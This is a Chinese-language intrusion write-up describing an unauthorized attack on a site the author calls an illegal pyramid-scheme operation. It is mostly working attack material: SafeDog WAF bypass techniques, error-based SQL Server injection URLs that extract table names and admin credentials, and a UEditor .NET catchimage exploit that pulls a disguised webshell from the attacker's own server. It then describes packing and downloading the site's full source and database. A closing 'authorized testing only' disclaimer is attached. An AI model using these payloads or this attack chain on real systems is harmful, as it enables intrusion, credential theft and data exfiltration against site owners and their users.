记一次对某非法站点从SQL注入到整站打包与本地搭建全过程
字数 1923 2025-08-20 18:17:47
SQL注入到整站打包与本地搭建全过程技术文档
一、前言
本文记录了对某非法传销站点从SQL注入到获取后台权限、打包整站源码并在本地搭建的全过程。目标环境为IIS+ASP.NET+安全狗防护系统,托管于腾讯云。
二、信息搜集
- 目标系统:IIS服务器
- 技术栈:ASP.NET
- 安全防护:安全狗WAF
- 托管平台:腾讯云
- 数据库:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
- 当前数据库用户:sa(最高权限)
- 数据库名称:pan20170823
- 其他数据库:master, tempdb, model, msdb, ReportServer\(SQLEXPRESS, ReportServer\)SQLEXPRESSTempDB
三、SQL注入绕过技术
3.1 安全狗WAF绕过测试
通过fuzz测试发现以下过滤规则:
| 测试项 | 结果 | 绕过方法 |
|---|---|---|
| 空格 | 拦截 | 使用%0b |
| 加号 | 未拦截 | 直接使用或%2b |
| 等号 | 拦截 | 使用IIS特性绕过 |
| 单引号 | 拦截 | 使用双引号或编码 |
| 双引号 | 未拦截 | 直接使用 |
| 双括号 | 未拦截 | 直接使用 |
| +select | 拦截 | 使用%0bselect |
| %0bselect | 未拦截 | 直接使用 |
3.2 利用convert函数进行报错注入
利用IIS处理%符号的机制和convert函数进行报错注入:
goodscontent.aspx?gid=convert(int,@@version) # 获取版本信息
goodscontent.aspx?gid=convert(int,db_name()) # 获取数据库名
goodscontent.aspx?gid=convert(int,user_name()) # 获取当前用户
通过遍历db_name(1)中的数字可以获取其他库名:
goodscontent.aspx?gid=convert(int,db_name(1))
3.3 获取表信息
获取表总数量的payload:
goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))
3.4 绕过单引号和等号限制
使用注释加换行绕过安全狗:
goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/
获取后续表名的方法:
/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/
使用Burp Suite的Intruder模块遍历TOP值(1-600),配合Grep-Extract功能提取表名。
3.5 获取表数据
通过分析后台页面源码推测列名:
- txt_nickname
- nickname
- txt_password
- password
获取数据的payload:
/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bnickname%0bfrom%0bmemberadmin)--%20*/
/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bpassword%0bfrom%0bmemberadmin)--%20*/
四、后台getshell
- 登录获取的后台凭据
- 发现信息管理处可发布咨询和上传图片
- 尝试绕过上传限制:
- 修改filename="1.aspx"为filename=xss.jpg .aspx(去掉双引号)
- 发现无法绕过程序自身检测
- 利用UEditor .NET版本的上传漏洞:
<form action="http://***/***/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
- 在攻击者服务器准备shell文件(需绕过安全狗),命名为a.gif
- 提交shell地址:
https://o0o0.club/a.gif?.aspx - 获取返回的shell路径
五、打包源码与数据库
5.1 打包源码
- 上传rar.exe到服务器
- 使用rar命令分卷打包源码:
rar.exe a -r -v50m -m5 pan20170823 *.*
参数说明:
a:压缩-r:打包子目录-v50m:分卷大小50MB-m5:最高压缩等级pan20170823:目标目录*.*:打包后文件名为pan20170823.part*.rar
- 以约100KB/s的速度下载分卷文件
5.2 备份数据库
- 使用后台自带的备份功能
- 注意:备份文件后缀为zip但文件头是TAPE,可能导致误判为损坏
六、本地环境搭建
6.1 环境准备
- 操作系统:Windows Server 2012
- Web服务器:IIS 8
- 数据库:SQL Server 2008
6.2 SQL Server配置
- 安装SQL Server 2008
- 新建数据库
- 通过"从设备还原"功能导入备份数据
6.3 IIS与ASP.NET配置
- 安装IIS和ASP.NET(选择对应版本)
- 添加网站,配置与目标相同的设置
- 修改源码中的配置文件以适应本地环境
6.4 访问验证
完成配置后访问本地站点,验证功能是否正常。
七、关键技术与注意事项
-
WAF绕过技巧:
- 利用IIS对%符号的处理特性
- 使用%0b代替空格
- 注释加换行绕过过滤
-
SQL注入技巧:
- convert函数报错注入
- 使用CHAR()函数拼接字符串
- 利用information_schema获取元数据
-
文件打包技巧:
- 分卷压缩避免大文件传输问题
- 使用高压缩等级减少体积
-
安全注意事项:
- 操作非法站点存在法律风险
- 本地搭建仅用于学习研究
- 避免在生产环境测试此类技术
八、总结
本文详细记录了从SQL注入到完整获取站点控制权的全过程,重点介绍了安全狗WAF的绕过技巧、UEditor漏洞利用方法以及整站迁移技术。这些技术仅可用于合法授权下的安全测试,切勿用于非法用途。